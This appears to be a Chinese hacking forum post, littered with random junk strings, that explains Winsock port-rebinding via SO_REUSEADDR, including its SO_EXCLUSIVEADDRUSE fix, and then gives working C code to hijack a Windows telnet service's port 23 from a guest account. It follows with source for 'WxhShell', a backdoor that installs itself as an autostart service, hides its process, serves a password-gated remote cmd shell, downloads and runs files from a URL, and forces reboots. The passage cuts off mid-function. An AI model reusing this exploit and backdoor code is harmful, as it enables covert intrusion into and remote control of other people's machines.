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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Bq~!_6fB s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |cpBoU qd*3| O^ saddr.sin_family = AF_INET; cjzhuH/y zx"'WM* saddr.sin_addr.s_addr = htonl(INADDR_ANY); O$jj& /C(lQs*l bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zoXCMBg[ h&eu}aF 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 x\t)uM% r\7F}ZW/ 这意味着什么?意味着可以进行如下的攻击: T"1H%65`V <ijf':X=* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1@Dp<Q u"IYAyzL 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) j.Ro(0% %VG;vW\V 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [r'PGx Y 1a[HF^- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ,bT|:T@ny Az4+([ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
nU]n]gd B6)d2O9C 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2N_8ahc =}N&c4I[j 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Gt4| ] fE"Q:K6r2 #include N9LBji;nH #include $o
rN>M42 #include ^'EeJN #include (.Hiee43 DWORD WINAPI ClientThread(LPVOID lpParam); [.\uHt int main() ( ONn{12Q { g_lj/u]P WORD wVersionRequested; n1OxT"tD DWORD ret; .kpL?_ WSADATA wsaData; `N$:QWJ BOOL val; 3nb&Z_/e SOCKADDR_IN saddr; VW^6qf/, SOCKADDR_IN scaddr; pvL)BD int err; )N[9r{3 SOCKET s; ]v=*WK SOCKET sc; X._skq int caddsize; +We_[Re`< HANDLE mt; 0TA{E-A DWORD tid; 40TS=evG wVersionRequested = MAKEWORD( 2, 2 ); KL:x!GsV5e err = WSAStartup( wVersionRequested, &wsaData ); \7W>3 if ( err != 0 ) { <a/TDW printf("error!WSAStartup failed!\n"); ~jdvxoX- return -1; a12Q/K } m0xL'g6F saddr.sin_family = AF_INET; (_S`9Z8= x]
[/9e //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ACQc
0:q mQ 1) d5 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uC{qaMQ saddr.sin_port = htons(23); dQUZ11 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X0<qG { P:GAJ->;]> printf("error!socket failed!\n"); {)j~5m.,/o return -1; Oax*3TD } #+)AIf val = TRUE; 2=Sv# //SO_REUSEADDR选项就是可以实现端口重绑定的 V~j:!=b%v if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f,Q oA { %LBa;M printf("error!setsockopt failed!\n"); S/YT
V return -1; j#^EZ/ } D^cv
8 8< //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N$1ZA)M //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8U,VpuQ: //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E(J@A'cX /.1c<! if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H4%2"w6|! { 0V*B3V< ret=GetLastError(); sywSvnPuYZ printf("error!bind failed!\n"); *'5)CC return -1; A-5xgp, } *|)a@VL listen(s,2); <A{|=2< while(1) ;pk4Voo$ { 8<BYAHY^ caddsize = sizeof(scaddr); #-76E //接受连接请求 p;;4b@ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); USF9sF0l if(sc!=INVALID_SOCKET) 3r{3HaN(^' { RmF,x9 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L $R"?O7 if(mt==NULL) { +d](+$ { +NIq}fZn9 printf("Thread Creat Failed!\n"); ra87~kj< break; 8 xfn$ } Y0nnn } pq8XCOllXx CloseHandle(mt); MBy0Ky } k'O^HMAn! closesocket(s); *nb `DR WSACleanup(); <2b&AF{En return 0; F@m]Imn5Dx } O&DkB*- DWORD WINAPI ClientThread(LPVOID lpParam) iBCZx>![; { 6T-h("t SOCKET ss = (SOCKET)lpParam; ]=X6*
E*/E SOCKET sc; s98Jh(~ unsigned char buf[4096]; _=,\uIrk SOCKADDR_IN saddr; ,1xX`: long num; MW^( DWORD val; @Z0?1+k DWORD ret; Q7<%_a //如果是隐藏端口应用的话,可以在此处加一些判断 'p%aHK{ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 m+66x {M2c saddr.sin_family = AF_INET; %:yp>nm saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E}^np[u7 saddr.sin_port = htons(23); w ;;yw3 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <x&0a$I { ie<zc+*rW printf("error!socket failed!\n"); JONfNb+ return -1; X#;n Gq)5 } 4XL$I*;4 val = 100; U.XvS''E if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G
=`-w { k2bjBAT ret = GetLastError(); n $Nw/Vm return -1; r"E%U:y3P } b/#SkxW#S if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \<e? { @;\2 PD ret = GetLastError(); 2@TgeV0Y[ return -1; W=E+/ZvPt } Lzr&Q(mL if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *R'r=C` { " V[=U13 printf("error!socket connect failed!\n"); 9Hu;CKs closesocket(sc); }I}/e
v closesocket(ss); a$=BX= return -1; /,C;fT<R } {oXU)9vj while(1) ^$FNu~|K { H1bHQB //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fnXYp
! //如果是嗅探内容的话,可以再此处进行内容分析和记录 <x!q!; //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (-}:'5|Yj num = recv(ss,buf,4096,0); GGM|B}U p if(num>0) ppm=o4`s[ send(sc,buf,num,0); CdEQiu else if(num==0) EF>vu+YK break; ]|JQH num = recv(sc,buf,4096,0); IOfxx>=3 if(num>0) #}PQ !gZ send(ss,buf,num,0); Q,ezAE else if(num==0) 34*73WxK break; R"wBDWs } `Wl_yC_*G; closesocket(ss); Ob ~7w[n3 closesocket(sc); ]QU
9|1 return 0 ;
saRYd{%+ } f 7R/i r|MBkpcvp Ie<H4G5Vh ========================================================== T\ *#9a -gQtw%
`x 下边附上一个代码,,WXhSHELL T}}T`Ce kk`K)PESi ========================================================== ^l:~r2 <<=.;`(/v #include "stdafx.h" 8AjQPDn+ f]pHJVgFV #include <stdio.h> 9T\uOaC" #include <string.h> @$Xl*WT7 #include <windows.h> @=7[ KM b #include <winsock2.h> k~0#Iy_{M #include <winsvc.h> r* q #include <urlmon.h> eS`ZC!W R7o'V* d #pragma comment (lib, "Ws2_32.lib") bI-uF8" #pragma comment (lib, "urlmon.lib") {gC?kp *M? [Gro/ #define MAX_USER 100 // 最大客户端连接数 \?D~&d,a= #define BUF_SOCK 200 // sock buffer oW5Ov #define KEY_BUFF 255 // 输入 buffer *b}/fG)XZ H|Y*TI2vf8 #define REBOOT 0 // 重启 U#iGR5&^3 #define SHUTDOWN 1 // 关机 a1>Tz sSLVR^ #define DEF_PORT 5000 // 监听端口 P5JE = &M A'tv[Td8, #define REG_LEN 16 // 注册表键长度 I!?)}d #define SVC_LEN 80 // NT服务名长度 q90
~)n? e**<et. // 从dll定义API *g*~+B
: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \y(ZeNs typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FUP0X2P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *@VS^JB typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S.zY0 @tX8M[.eA // wxhshell配置信息 !b"2]Qv struct WSCFG { | |u int ws_port; // 监听端口 %ws@t"aER char ws_passstr[REG_LEN]; // 口令 BvLC% int ws_autoins; // 安装标记, 1=yes 0=no ^, &' char ws_regname[REG_LEN]; // 注册表键名 /HE{8b7n3F char ws_svcname[REG_LEN]; // 服务名 N79?s)l:K char ws_svcdisp[SVC_LEN]; // 服务显示名 3Q#Tut char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ez/>3:; char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d4m@u$^1B int ws_downexe; // 下载执行标记, 1=yes 0=no #AR$'TE# char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" DO
0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R0#'t+7^ \>\_OfY1W }; nb\pBl !DM GAt\ // default Wxhshell configuration ${ 5E struct WSCFG wscfg={DEF_PORT, cCuK?3V4K "xuhuanlingzhe", kz"QS.${ 1, h+!@`c>)Y "Wxhshell", 2M>`W5 "Wxhshell", ]PlLy:( "WxhShell Service", UL.YDU) "Wrsky Windows CmdShell Service", AZE "Please Input Your Password: ", DC~ 1}|B" 1, T8BewO=} " http://www.wrsky.com/wxhshell.exe", I vX+yU "Wxhshell.exe" ~_F <"40 }; uC! dy `J$7X // 消息定义模块 M1q_gHA char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #Y0ru9 char *msg_ws_prompt="\n\r? for help\n\r#>"; 6u9? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Fr_6pEH]} char *msg_ws_ext="\n\rExit."; q`|rS6 char *msg_ws_end="\n\rQuit."; 0iV~MQZ( char *msg_ws_boot="\n\rReboot..."; Ov#G 7a" char *msg_ws_poff="\n\rShutdown..."; d}2(G2z^ char *msg_ws_down="\n\rSave to "; )&$mFwf rh DiIO_ char *msg_ws_err="\n\rErr!"; [;Jq=G8&t char *msg_ws_ok="\n\rOK!"; z?t75#u9. goOw.~dZ' char ExeFile[MAX_PATH]; -cWGF int nUser = 0; !A:d9 k HANDLE handles[MAX_USER]; d
f
j;e%H int OsIsNt; ]m :Y|,:6 ,FwJ0V SERVICE_STATUS serviceStatus; iHT=ROL SERVICE_STATUS_HANDLE hServiceStatusHandle; q $=[v j6E|j>@u // 函数声明 ^x2@KMKXZ int Install(void); Ki>XLX,er= int Uninstall(void); 25;(`Td5 int DownloadFile(char *sURL, SOCKET wsh); 2Z-QVwa*U
int Boot(int flag); 3*E]
:l_ void HideProc(void); &W}6Xg( int GetOsVer(void); mgTzwE_\ int Wxhshell(SOCKET wsl); MnP+L'| void TalkWithClient(void *cs); B2Kh~Xd int CmdShell(SOCKET sock); %R<xe.X int StartFromService(void); A`* l+M^z int StartWxhshell(LPSTR lpCmdLine); 2%/+r
WIN3*z7oW VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); as(Zb*PdH VOID WINAPI NTServiceHandler( DWORD fdwControl ); ><qA+/4]_ )XDbg> // 数据结构和表定义 |zJ2ZE| SERVICE_TABLE_ENTRY DispatchTable[] = B dP+>Ij { ')TS'p,n {wscfg.ws_svcname, NTServiceMain}, (K('@W%\? {NULL, NULL} /z)Nz2W }; Ab8Ke|fA CY\D.Eow // 自我安装 Mzw:c# int Install(void) m86ztP) { F#~*j char svExeFile[MAX_PATH]; ?1**@E0 HKEY key; 'A9Z (( strcpy(svExeFile,ExeFile); >IipWTVo< lHFk~Qp[ // 如果是win9x系统,修改注册表设为自启动 y@<&A~Cl^ if(!OsIsNt) { V}ls|B$Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t)mc~M9w RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \x|8 RegCloseKey(key); Cg8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }^
=f%EjV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DUwms"I,% RegCloseKey(key); BDCyeC,Q3 return 0; @SI,V8i } 72vp6/;) } n7|,b-
< } RN$>!b/ else { fRHzY?n9; O=jzz&E+ // 如果是NT以上系统,安装为系统服务 B}J0d SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 03.\!rZZ if (schSCManager!=0) TiR00#b { oPVt
qQ SC_HANDLE schService = CreateService h@TP= ( $&&+2?cx0 schSCManager, EMDYeXpV wscfg.ws_svcname, ">5$;{;2r wscfg.ws_svcdisp, OuKRaZ SERVICE_ALL_ACCESS,
g@ .e% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F:~@e( SERVICE_AUTO_START, ght3# SERVICE_ERROR_NORMAL, w&e3#p svExeFile, 8T[<&<^- NULL, 7EVB|gTp NULL, \Yn0|j> NULL, 5vLA)Al3 NULL, }Syd*%BR[ NULL RRQIlI< ); XM#nb$gl if (schService!=0) V9D q<y-y { qC5IV}9` CloseServiceHandle(schService); li{!Jp5]1b CloseServiceHandle(schSCManager); w"W;PdH) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <AK9HPxP strcat(svExeFile,wscfg.ws_svcname); 4$81ilBcL if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *!j!o%MB RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }
7ND]y48 RegCloseKey(key); d\zUtcJwC return 0; 0{I-x^FI } CSz+cS } :F9Oj1lM% CloseServiceHandle(schSCManager); bkz/V/ Y } +(W7hK4ip } X<5&R{oZ jeB"j return 1; qJ .XI } nB0KDt_ 5"(FilM // 自我卸载 abCxB^5VL int Uninstall(void) CNhLp# { G(ZEP.h`u HKEY key; FGhnK' A~^x*#q{4 if(!OsIsNt) { NNwGRoDco if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4TYtgP1 RegDeleteValue(key,wscfg.ws_regname); j WMTQLE. RegCloseKey(key); Wc,`L$Jx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :DeJnE RegDeleteValue(key,wscfg.ws_regname); eNO[ikm RegCloseKey(key); =LgMG^@mu return 0; uy<<m"cA; } @%YbptT} }
FsQoQ#* } -f1lu*3\ else { [)kuu +n$ruoRJh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cmAdQ)(Kzd if (schSCManager!=0) <_]W1V:0 { .$
YYN/+W SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M?o_J4 if (schService!=0) `~=NBN=tiL { zbGZ\pz if(DeleteService(schService)!=0) { /8<c~ CloseServiceHandle(schService); S]Di1E^r;_ CloseServiceHandle(schSCManager); ZE=
Yn~XM return 0; )o-mM
tPj } PHUeN]s# CloseServiceHandle(schService); W}%"xy ]N } iX WB CloseServiceHandle(schSCManager); cd=K=P}p } ) jt?X} } ,el[A`b wAJ=rRI return 1; g \ou+M# } =BJe}AV )4.-6F7U? // 从指定url下载文件 SoHaGQox int DownloadFile(char *sURL, SOCKET wsh) 2?v }w<Ydl { 3N|6?'m HRESULT hr; ,oPxt char seps[]= "/"; Hl'AnxE char *token; r .
(} char *file; s:(z;cj/ char myURL[MAX_PATH]; ^dsj1#3z char myFILE[MAX_PATH]; Pl-9FLJ wXKt)3dm u strcpy(myURL,sURL); "dE[X`
}= token=strtok(myURL,seps); g}uSIv^ while(token!=NULL) -_eG/o=M { jA[")RVG file=token; 8OO[Le]1 token=strtok(NULL,seps); %tZrP$DQ } !IB}&m 7s!rer> GetCurrentDirectory(MAX_PATH,myFILE); .+<Ka0 strcat(myFILE, "\\"); [Fv,`*/sm strcat(myFILE, file); 9?~6{!m_9 send(wsh,myFILE,strlen(myFILE),0); I0=L_&`) send(wsh,"...",3,0); $|TLt{ K hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |.&GmP if(hr==S_OK) xU}J6 Tv return 0; -5|el3%) else x;-D}# return 1; 7^mQfQv *K@O3n } }gB^C3b6 J#t8xL // 系统电源模块 inZ0iU9dy int Boot(int flag) ,8d&uR}x { ~l{Qz0& HANDLE hToken; 9
`q(_\ x TOKEN_PRIVILEGES tkp; Ro<x#Uo jp@X,HES if(OsIsNt) { W
tHJG5 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _#+l?\u LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aNQ(xiskb tkp.PrivilegeCount = 1; rKdsVW tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k B4Fz AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8Gy*BpmJn if(flag==REBOOT) { qt/6o|V if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PMW@xk^<Y return 0; >K1e=SY } a|#pl! else { M"u=)CT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :(tKc3z return 0; ~ b66
; } qLc&.O.= } BI<9xl]a else { F$kiSjh9aJ if(flag==REBOOT) { 8}4.x3uw if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =MD)F return 0; PxvxZJf$@ } e^\#DDm else { `w8cV? if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x!pd50- return 0; )1R[X!KQ7 } Tyb'p9 } riaL[4c g}K/ba' return 1; $=^}J6 } /h`gQyGuY ]n<Ba7Y // win9x进程隐藏模块 oWi#?' void HideProc(void) WX_g { HU4h.Lm u|u)8;'9( HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _v,Wl/YAp if ( hKernel != NULL ) T
g3MPa#g { $AMcU5^b7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >1]hR)Ip ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )`\Q/TMl5 FreeLibrary(hKernel); j]5e$e{ } KV9~L`=]i DRXUQH return; B9cWxe4R# } t7xJ" /d Ua // 获取操作系统版本 ) .' + { int GetOsVer(void) *8yC6|wL? { YN:Sn\`D 8 OSVERSIONINFO winfo; M
0RA& winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B,Tv9(sv GetVersionEx(&winfo); *-q&~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]W~M?1} return 1; v4uQ0~k~X else ?:l:fS0:{ return 0; 5INw#1~ } +>[zn ;'Z"CbS+ // 客户端句柄模块 -4F}I3I int Wxhshell(SOCKET wsl) T('rM:)/ { lb=fS% SOCKET wsh; ,pf\g[tz struct sockaddr_in client; :J2^Y4l2 DWORD myID; IDh`*F &G\C[L while(nUser<MAX_USER) ;b=7m#5 { ]6|?H6'/`v int nSize=sizeof(client); "SWL@}8vx wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5xNOIOpDB if(wsh==INVALID_SOCKET) return 1; iS"6)#a72 I|c?*~7* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0QrRG$<4X if(handles[nUser]==0) R3)ccom closesocket(wsh); AxTFVot else o:
> (Tv nUser++; U-f8D } ?>vkY^/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {BaPK&x, =T?Xph{ return 0; i??+5o@uTF } HxLuJ O<Ay`p5 // 关闭 socket !/|B4Yv void CloseIt(SOCKET wsh) Ag2Q!cq { H/8u?OC closesocket(wsh); (R RRG;*n# nUser--; BrzTOkeyG ExitThread(0); j/E(*Hv } J\'f5)k bS55/M w // 客户端请求句柄 ^U,C])n void TalkWithClient(void *cs) fmUrwI1 % { ^r7KEeVD .i` -t" SOCKET wsh=(SOCKET)cs; %P#|
} char pwd[SVC_LEN]; a8k`Wog char cmd[KEY_BUFF]; {c drMP@"" char chr[1]; K!E\v4 int i,j; M.)z;[3O ]<q!pE;t while (nUser < MAX_USER) { q_BMZEM JPgFTr if(wscfg.ws_passstr) { #E<~WpP if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cgf4E{\U! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,,)'YhG( //ZeroMemory(pwd,KEY_BUFF); $I ,Np)i i=0; Ze[\y(K! while(i<SVC_LEN) { G#uB%:)&0u jC?l :m? // 设置超时 EF=5[$
u fd_set FdRead; 07ppq?,y struct timeval TimeOut; puEu)m^ FD_ZERO(&FdRead); n}4q2x" FD_SET(wsh,&FdRead); 9~K+h/ TimeOut.tv_sec=8; &/otoAr( TimeOut.tv_usec=0; _ph1( !H$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nU#K=e
=W if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4`RZ&w;1H2 -ntQqHs if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vJx( lU`Y pwd =chr[0]; (gcy3BX; if(chr[0]==0xd || chr[0]==0xa) { |&bucG= pwd=0; WBzPSnS2 break; L`rrT } EgzdRB\Cf i++; {sq:vu@NC } a/%qn-i|p F^}d>2W( // 如果是非法用户,关闭 socket b 1."mT!p if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G2|G}#E } n1'i!NWt @XcrHnH9 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ggv*EsN/cC send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nKTi"2dm KXWz(L!1 while(1) { v`6vc)>8 !l6ht{ ZeroMemory(cmd,KEY_BUFF); Un5 AStG AkO-PL // 自动支持客户端 telnet标准 a,fcR< j=0; C!^;%VQ}d while(j<KEY_BUFF) { 8#1o if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /Vx
EqIK cmd[j]=chr[0]; AB<bW3qf( if(chr[0]==0xa || chr[0]==0xd) { N\CHIsVm> cmd[j]=0; E^pn-rB break; }R hSt] } l$W)Vk<B(T j++; ?1eu9; q\* } moMNd(p jpMMnEVj6P // 下载文件 7+6I~&x!Lz if(strstr(cmd,"http://")) { 7WmY:g#s send(wsh,msg_ws_down,strlen(msg_ws_down),0); s]D1s%Mx if(DownloadFile(cmd,wsh)) k6\&[BQs send(wsh,msg_ws_err,strlen(msg_ws_err),0); =<ht@-1 else 6G_{N.{( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )M7~RN } <9;X1XtpI else { Ngm/5Lc 8'v:26 switch(cmd[0]) { XuU>.T$] c xa{.hp? // 帮助 lhBAT%U\ case '?': { D>-Pv-f/ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mQK3YoC) break; ,E+\SBQS_ } dXU6TCjU7 // 安装 ,wyEo>>4) case 'i': { wDBU+Z if(Install()) m?;/H send(wsh,msg_ws_err,strlen(msg_ws_err),0); b%VZPKA; else ,}Im^~5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zYftgH_o break; +)_DaL
E } :8?l=B9("g // 卸载 /6y;fx case 'r': { V[7D4r.j if(Uninstall()) A\.{(,;kp send(wsh,msg_ws_err,strlen(msg_ws_err),0); x
Y}.mP else gN<J0c) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IhK%.B{dZ break; "|PX5 } ~C?)-
]bF // 显示 wxhshell 所在路径 KHeeB `V>J case 'p': { 7!6v4ZA char svExeFile[MAX_PATH]; h6tYy_(G strcpy(svExeFile,"\n\r"); "!D,9AkZS strcat(svExeFile,ExeFile); =:H EF;! send(wsh,svExeFile,strlen(svExeFile),0); ,V;HMF.
break; bGlr>@;-r } (!Fu5m=<8 // 重启 ~P*{%= a case 'b': { Ve40H6Ox send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]2iEi`"[ if(Boot(REBOOT)) SxX send(wsh,msg_ws_err,strlen(msg_ws_err),0); iU#"G" & else { }0OQm?xh closesocket(wsh); S*WLb/R2 ExitThread(0); x3nUKQtk:8 } ]BmnE#n& break;
CUaL } $vnx)#r3 // 关机 #"[EVF0%1D case 'd': { P|;f>*^Y send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J d,9<m$ if(Boot(SHUTDOWN)) 58o&Dv6? send(wsh,msg_ws_err,strlen(msg_ws_err),0); U.N&~S else { Xl>ZnI]; closesocket(wsh); -L
wz
T ExitThread(0); w@a|_? } ')(U<5y) break; acj-*I } >.hDt9@4 // 获取shell
M{YN^
Kk case 's': { (/!zHq CmdShell(wsh); !d95gq<=> closesocket(wsh); nu[["f~ ExitThread(0); g5*?2D}dqX break; /?}2OCq } /9?yw! // 退出 0XA0b1V X case 'x': { CH5>u send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d?/>Qqw:# CloseIt(wsh); SPtx_+ Q)S break; K4OiKYq } TW1#'G_# // 离开 x,GLGGi}_x case 'q': { p.x2R,CU send(wsh,msg_ws_end,strlen(msg_ws_end),0); nrbP3sf* closesocket(wsh); d$n<^~Z WSACleanup(); Z!l]v.S exit(1); Nema>T] break; G"Hj$ } n
ON]YDg } Cli:;yi&n } ##OCfCW Qp>Z&LvC5 // 提示信息 D|'[ [= if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,z>w^_ } 1L=)93,M } mR8tW"Z2 yI%q3lB}^ return; /.sho\a } isFxo,R9r 4Wa*Pcj // shell模块句柄 y'O<*~C(X int CmdShell(SOCKET sock) 1r3}
V7 { $|AasT5w STARTUPINFO si; Xu|2@?l9 ZeroMemory(&si,sizeof(si)); *dsI>4%m si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XaMsIyhI si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SUjo%3R PROCESS_INFORMATION ProcessInfo; (?"z!dg c char cmdline[]="cmd"; B_XX)y %V CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <@Y`RqV + return 0; eAG)+b } f5/s+H! o3h>)4 // 自身启动模式 Hk=HO|&<XB int StartFromService(void) =uR3|U(.|u { (]zi; typedef struct -oB=7+g { @0 [^SU? DWORD ExitStatus; S,vdd7Y DWORD PebBaseAddress; rCb#E} DWORD AffinityMask; (D{J| DWORD BasePriority; z:u)@>6D1 ULONG UniqueProcessId; 0!tuUn ULONG InheritedFromUniqueProcessId; rU1Ri } PROCESS_BASIC_INFORMATION; ACpecG QuC_sFP10 PROCNTQSIP NtQueryInformationProcess; _7dp(R ,,lR\!>8 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^$[iLX static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2HF`}H)H Z_[L5B]Gwd HANDLE hProcess; z|\n^ZK= PROCESS_BASIC_INFORMATION pbi; #er% q: ^1_CS* HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [\&2& if(NULL == hInst ) return 0; lR]FQnZ {.J<^V g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j-ob7(v)*] g_pGetModuleBaseName = 